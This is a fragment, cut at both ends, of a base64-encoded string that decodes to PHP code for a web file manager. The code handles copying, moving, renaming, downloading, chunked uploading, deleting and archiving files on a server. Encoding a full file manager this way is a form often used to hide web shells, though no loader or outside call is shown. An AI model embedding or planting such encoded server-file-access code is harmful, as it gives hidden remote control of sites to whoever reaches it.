ydkaXJuYW1lJ10gLiAnXC8nIC4gJGZuX3BhcnRzWydmaWxlbmFtZSddIC4gJy0nIC4gZGF0ZSgnWW1kSGlzJykgLiAkZXh0ZW5zaW9uX3N1ZmZpeDtcbiAgICAgICAgICAgICRsb29wX2NvdW50ID0gMDtcbiAgICAgICAgICAgICRtYXhfbG9vcCA9IDEwMDA7XG4gICAgICAgICAgICB3aGlsZSAoZmlsZV9leGlzdHMoJGZuX2R1cGxpY2F0ZSkgJiAkbG9vcF9jb3VudCA8ICRtYXhfbG9vcCkge1xuICAgICAgICAgICAgICAgICRmbl9wYXJ0cyA9IHBhdGhpbmZvKCRmbl9kdXBsaWNhdGUpO1xuICAgICAgICAgICAgICAgICRmbl9kdXBsaWNhdGUgPSAkZm5fcGFydHNbJ2Rpcm5hbWUnXSAuICdcLycgLiAkZm5fcGFydHNbJ2ZpbGVuYW1lJ10gLiAnLWNvcHknIC4gJGV4dGVuc2lvbl9zdWZmaXg7XG4gICAgICAgICAgICAgICAgJGxvb3BfY291bnQrKztcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGZuX2R1cGxpY2F0ZSwgRmFsc2UpKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdDb3BpZWQgZnJvbSA8Yj4lczxcL2I+IHRvIDxiPiVzPFwvYj4nLCBmbV9lbmMoJGNvcHkpLCBmbV9lbmMoJGZuX2R1cGxpY2F0ZSkpKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdFcnJvciB3aGlsZSBjb3B5aW5nIGZyb20gPGI+JXM8XC9iPiB0byA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRmbl9kdXBsaWNhdGUpKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnKSwgJ2FsZXJ0Jyk7XG4gICAgICAgIH1cbiAgICB9XG4gICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbn1cblxuaWYgKGlzc2V0KCRfUE9TVFsnZmlsZSddLCAkX1BPU1RbJ2NvcHlfdG8nXSwgJF9QT1NUWydmaW5pc2gnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHtcblxuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnSW52YWxpZCBUb2tlbi4nKSwgJ2Vycm9yJyk7XG4gICAgICAgIGRpZShcIkludmFsaWQgVG9rZW4uXCIpO1xuICAgIH1cblxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgIH1cbiAgICAkY29weV90b19wYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgICRjb3B5X3RvID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2NvcHlfdG8nXSk7XG4gICAgaWYgKCRjb3B5X3RvICE9ICcnKSB7XG4gICAgICAgICRjb3B5X3RvX3BhdGggLj0gJ1wvJyAuICRjb3B5X3RvO1xuICAgIH1cbiAgICBpZiAoJHBhdGggPT0gJGNvcHlfdG9fcGF0aCkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgIH1cbiAgICBpZiAoIWlzX2RpcigkY29weV90b19wYXRoKSkge1xuICAgICAgICBpZiAoIWZtX21rZGlyKCRjb3B5X3RvX3BhdGgsIHRydWUpKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKCdVbmFibGUgdG8gY3JlYXRlIGRlc3RpbmF0aW9uIGZvbGRlcicsICdlcnJvcicpO1xuICAgICAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgICAgICB9XG4gICAgfVxuICAgICRtb3ZlID0gaXNzZXQoJF9QT1NUWydtb3ZlJ10pO1xuICAgICRlcnJvcnMgPSAwO1xuICAgICRmaWxlcyA9ICRfUE9TVFsnZmlsZSddO1xuICAgIGlmIChpc19hcnJheSgkZmlsZXMpICYmIGNvdW50KCRmaWxlcykpIHtcbiAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7XG4gICAgICAgICAgICBpZiAoJGYgIT0gJycpIHtcbiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpO1xuICAgICAgICAgICAgICAgICRmcm9tID0gJHBhdGggLiAnXC8nIC4gJGY7XG4gICAgICAgICAgICAgICAgJGRlc3QgPSAkY29weV90b19wYXRoIC4gJ1wvJyAuICRmO1xuICAgICAgICAgICAgICAgIGlmICgkbW92ZSkge1xuICAgICAgICAgICAgICAgICAgICAkcmVuYW1lID0gZm1fcmVuYW1lKCRmcm9tLCAkZGVzdCk7XG4gICAgICAgICAgICAgICAgICAgIGlmICgkcmVuYW1lID09PSBmYWxzZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJGVycm9ycysrO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZXJyb3JzKys7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRlcnJvcnMgPT0gMCkge1xuICAgICAgICAgICAgJG1zZyA9ICRtb3ZlID8gJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzIG1vdmVkJyA6ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycyBjb3BpZWQnO1xuICAgICAgICAgICAgZm1fc2V0X21zZygkbXNnKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAkbW92ZSA/ICdFcnJvciB3aGlsZSBtb3ZpbmcgaXRlbXMnIDogJ0Vycm9yIHdoaWxlIGNvcHlpbmcgaXRlbXMnO1xuICAgICAgICAgICAgZm1fc2V0X21zZygkbXNnLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWydyZW5hbWVfZnJvbSddLCAkX1BPU1RbJ3JlbmFtZV90byddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKFwiSW52YWxpZCBUb2tlbi5cIiwgJ2Vycm9yJyk7XG4gICAgICAgIGRpZShcIkludmFsaWQgVG9rZW4uXCIpO1xuICAgIH1cbiAgICAkb2xkID0gdXJsZGVjb2RlKCRfUE9TVFsncmVuYW1lX2Zyb20nXSk7XG4gICAgJG9sZCA9IGZtX2NsZWFuX3BhdGgoJG9sZCk7XG4gICAgJG9sZCA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkb2xkKTtcbiAgICAkbmV3ID0gdXJsZGVjb2RlKCRfUE9TVFsncmVuYW1lX3RvJ10pO1xuICAgICRuZXcgPSBmbV9jbGVhbl9wYXRoKHN0cmlwX3RhZ3MoJG5ldykpO1xuICAgICRuZXcgPSBzdHJfcmVwbGFjZSgnXC8nLCAnJywgJG5ldyk7XG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuICAgIGlmIChmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRuZXcpICYmICRvbGQgIT0gJycgJiYgJG5ldyAhPSAnJykge1xuICAgICAgICBpZiAoZm1fcmVuYW1lKCRwYXRoIC4gJ1wvJyAuICRvbGQsICRwYXRoIC4gJ1wvJyAuICRuZXcpKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdSZW5hbWVkIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0Vycm9yIHdoaWxlIHJlbmFtaW5nIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJyksICdlcnJvcicpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2RsJ10sICRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICBpZiAoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgZm1fc2V0X21zZyhcIkludmFsaWQgVG9rZW4uXCIsICdlcnJvcicpO1xuICAgICAgICBleGl0O1xuICAgIH1cblxuICAgICRkbCA9IHVybGRlY29kZSgkX0dFVFsnZGwnXSk7XG4gICAgJGRsID0gZm1fY2xlYW5fcGF0aCgkZGwpO1xuICAgICRkbCA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZGwpO1xuXG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgaWYgKCRkbCAhPSAnJyAmJiBpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRkbCkpIHtcbiAgICAgICAgaWYgKHNlc3Npb25fc3RhdHVzKCkgPT09IFBIUF9TRVNTSU9OX0FDVElWRSkge1xuICAgICAgICAgICAgc2Vzc2lvbl93cml0ZV9jbG9zZSgpO1xuICAgICAgICB9XG5cbiAgICAgICAgZm1fZG93bmxvYWRfZmlsZSgkcGF0aCAuICdcLycgLiAkZGwsICRkbCwgMTAyNCk7XG4gICAgICAgIGV4aXQ7XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG59XG5cbmlmICghZW1wdHkoJF9GSUxFUykgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3RhdHVzJyA9PiAnZXJyb3InLCAnaW5mbycgPT4gXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTtcbiAgICAgICAgICAgIGV4aXQoKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdGF0dXMnID0+ICdlcnJvcicsICdpbmZvJyA9PiBcIlRva2VuIE1pc3NpbmcuXCIpO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICAkY2h1bmtJbmRleCA9ICRfUE9TVFsnZHpjaHVua2luZGV4J107XG4gICAgJGNodW5rVG90YWwgPSAkX1BPU1RbJ2R6dG90YWxjaHVua2NvdW50J107XG4gICAgJGZ1bGxQYXRoSW5wdXQgPSBmbV9jbGVhbl9wYXRoKCRfUkVRVUVTVFsnZnVsbHBhdGgnXSk7XG5cbiAgICAkZiA9ICRfRklMRVM7XG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgJGRzID0gRElSRUNUT1JZX1NFUEFSQVRPUjtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG5cbiAgICAkZXJyb3JzID0gMDtcbiAgICAkdXBsb2FkcyA9IDA7XG4gICAgJGFsbG93ZWQgPSAoRk1fVVBMT0FEX0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fVVBMT0FEX0VYVEVOU0lPTikgOiBmYWxzZTtcbiAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgJ3N0YXR1cycgPT4gJ2Vycm9yJyxcbiAgICAgICAgJ2luZm8nICAgPT4gJ09vcHMhIFRyeSBhZ2FpbidcbiAgICApO1xuXG4gICAgJGZpbGVuYW1lID0gJGZbJ2ZpbGUnXVsnbmFtZSddO1xuICAgICR0bXBfbmFtZSA9ICRmWydmaWxlJ11bJ3RtcF9uYW1lJ107XG4gICAgJGV4dCA9IHBhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRklMRU5BTUUpICE9ICcnID8gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZW5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpIDogJyc7XG4gICAgJGlzRmlsZUFsbG93ZWQgPSAoJGFsbG93ZWQpID8gaW5fYXJyYXkoJGV4dCwgJGFsbG93ZWQpIDogdHJ1ZTtcblxuICAgIGlmICghZm1faXN2YWxpZF9maWxlbmFtZSgkZmlsZW5hbWUpICYmICFmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRmdWxsUGF0aElucHV0KSkge1xuICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAnaW5mbycgICAgICA9PiBcIkludmFsaWQgRmlsZSBuYW1lIVwiLFxuICAgICAgICApO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICAkdGFyZ2V0UGF0aCA9ICRwYXRoIC4gJGRzO1xuICAgIGlmIChpc193cml0YWJsZSgkdGFyZ2V0UGF0aCkpIHtcbiAgICAgICAgJGZ1bGxQYXRoID0gJHBhdGggLiAnXC8nIC4gJGZ1bGxQYXRoSW5wdXQ7XG4gICAgICAgICRmb2xkZXIgPSBzdWJzdHIoJGZ1bGxQYXRoLCAwLCBzdHJycG9zKCRmdWxsUGF0aCwgXCJcL1wiKSk7XG5cbiAgICAgICAgaWYgKCFpc19kaXIoJGZvbGRlcikpIHtcbiAgICAgICAgICAgICRvbGQgPSB1bWFzaygwKTtcbiAgICAgICAgICAgIG1rZGlyKCRmb2xkZXIsIDA3NzcsIHRydWUpO1xuICAgICAgICAgICAgdW1hc2soJG9sZCk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoZW1wdHkoJGZbJ2ZpbGUnXVsnZXJyb3InXSkgJiYgIWVtcHR5KCR0bXBfbmFtZSkgJiYgJHRtcF9uYW1lICE9ICdub25lJyAmJiAkaXNGaWxlQWxsb3dlZCkge1xuICAgICAgICAgICAgaWYgKCRjaHVua1RvdGFsKSB7XG4gICAgICAgICAgICAgICAgJG91dCA9IEBmb3BlbihcInskZnVsbFBhdGh9LnBhcnRcIiwgJGNodW5rSW5kZXggPT0gMCA/IFwid2JcIiA6IFwiYWJcIik7XG4gICAgICAgICAgICAgICAgaWYgKCRvdXQpIHtcbiAgICAgICAgICAgICAgICAgICAgJGluID0gQGZvcGVuKCR0bXBfbmFtZSwgXCJyYlwiKTtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCRpbikge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKFBIUF9WRVJTSU9OX0lEIDwgODAwMDkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbyB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoOzspIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWZmID0gZnJlYWQoJGluLCA0MDk2KTtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYnVmZiA9PT0gZmFsc2UgfHwgJGJ1ZmYgPT09ICcnKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJG91dCwgJGJ1ZmYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoIWZlb2YoJGluKSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmVhbV9jb3B5X3RvX3N0cmVhbSgkaW4sICRvdXQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ3N1Y2Nlc3MnLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdpbmZvJyA9PiBcImZpbGUgdXBsb2FkIHN1Y2Nlc3NmdWxcIlxuICAgICAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+IFwiZmFpbGVkIHRvIG9wZW4gb3V0cHV0IHN0cmVhbVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdlcnJvckRldGFpbHMnID0+IGVycm9yX2dldF9sYXN0KClcbiAgICAgICAgICAgICAgICAgICAgICAgICk7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkaW4pO1xuICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRvdXQpO1xuICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCR0bXBfbmFtZSk7XG5cbiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmYWlsZWQgdG8gb3BlbiBvdXRwdXQgc3RyZWFtXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICBpZiAoJGNodW5rSW5kZXggPT0gJGNodW5rVG90YWwgLSAxKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZnVsbFBhdGgpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZXh0XzEgPSAkZXh0ID8gJy4nIC4gJGV4dCA6ICcnO1xuICAgICAgICAgICAgICAgICAgICAgICAgJGZ1bGxQYXRoVGFyZ2V0ID0gJHBhdGggLiAnXC8nIC4gYmFzZW5hbWUoJGZ1bGxQYXRoSW5wdXQsICRleHRfMSkgLiAnXycgLiBkYXRlKCd5bWRIaXMnKSAuICRleHRfMTtcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRmdWxsUGF0aFRhcmdldCA9ICRmdWxsUGF0aDtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICByZW5hbWUoXCJ7JGZ1bGxQYXRofS5wYXJ0XCIsICRmdWxsUGF0aFRhcmdldCk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBlbHNlIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCAkZnVsbFBhdGgpKSB7XG4gICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmdWxsUGF0aCkpIHtcbiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgICA9PiAnQ291bGRuXFwndCB1cGxvYWQgdGhlIHJlcXVlc3RlZCBmaWxlLidcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnZXJyb3InLFxuICAgICAgICAgICAgICAgICAgICAnaW5mbycgICAgICA9PiBcIkVycm9yIHdoaWxlIHVwbG9hZGluZyBmaWxlcy4gVXBsb2FkZWQgZmlsZXMgJHVwbG9hZHNcIixcbiAgICAgICAgICAgICAgICApO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAnc3RhdHVzJyA9PiAnZXJyb3InLFxuICAgICAgICAgICAgJ2luZm8nICAgPT4gJ1RoZSBzcGVjaWZpZWQgZm9sZGVyIGZvciB1cGxvYWQgaXNuXFwndCB3cml0ZWFibGUuJ1xuICAgICAgICApO1xuICAgIH1cbiAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgZXhpdCgpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWydncm91cCddLCAkX1BPU1RbJ2RlbGV0ZSddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG5cbiAgICAkZXJyb3JzID0gMDtcbiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTtcbiAgICBpZiAoaXNfYXJyYXkoJGZpbGVzKSAmJiBjb3VudCgkZmlsZXMpKSB7XG4gICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgaWYgKCRmICE9ICcnKSB7XG4gICAgICAgICAgICAgICAgJG5ld19wYXRoID0gJHBhdGggLiAnXC8nIC4gJGY7XG4gICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRuZXdfcGF0aCkpIHtcbiAgICAgICAgICAgICAgICAgICAgJGVycm9ycysrO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICBpZiAoJGVycm9ycyA9PSAwKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnU2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlciBkZWxldGVkJykpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0Vycm9yIHdoaWxlIGRlbGV0aW5nIGl0ZW1zJyksICdlcnJvcicpO1xuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ05vdGhpbmcgc2VsZWN0ZWQnKSwgJ2FsZXJ0Jyk7XG4gICAgfVxuXG4gICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbn1cblxuaWYgKGlzc2V0KCRfUE9TVFsnZ3JvdXAnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAoaXNzZXQoJF9QT1NUWyd6aXAnXSkgfHwgaXNzZXQoJF9QT1NUWyd0YXInXSkpICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAkZXh0ID0gJ3ppcCc7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgJGV4dCA9IGlzc2V0KCRfUE9TVFsndGFyJ10pID8gJ3RhcicgOiAnemlwJztcblxuICAgIGlmICgoJGV4dCA9PSBcInppcFwiICYmICFjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgfHwgKCRleHQgPT0gXCJ0YXJcIiAmJiAhY2xhc3NfZXhpc3RzKCdQaGFyRGF0YScpKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG5cbiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTtcbiAgICAkc2FuaXRpemVkX2ZpbGVzID0gYXJyYXkoKTtcblxuICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkge1xuICAgICAgICBhcnJheV9wdXNoKCRzYW5pdGl6ZWRfZmlsZXMsIGZtX2NsZWFuX3BhdGgoJGZpbGUpKTtcbiAgICB9XG5cbiAgICAkZmlsZXMgPSAkc2FuaXRpemVkX2ZpbGVzO1xuXG4gICAgaWYgKCFlb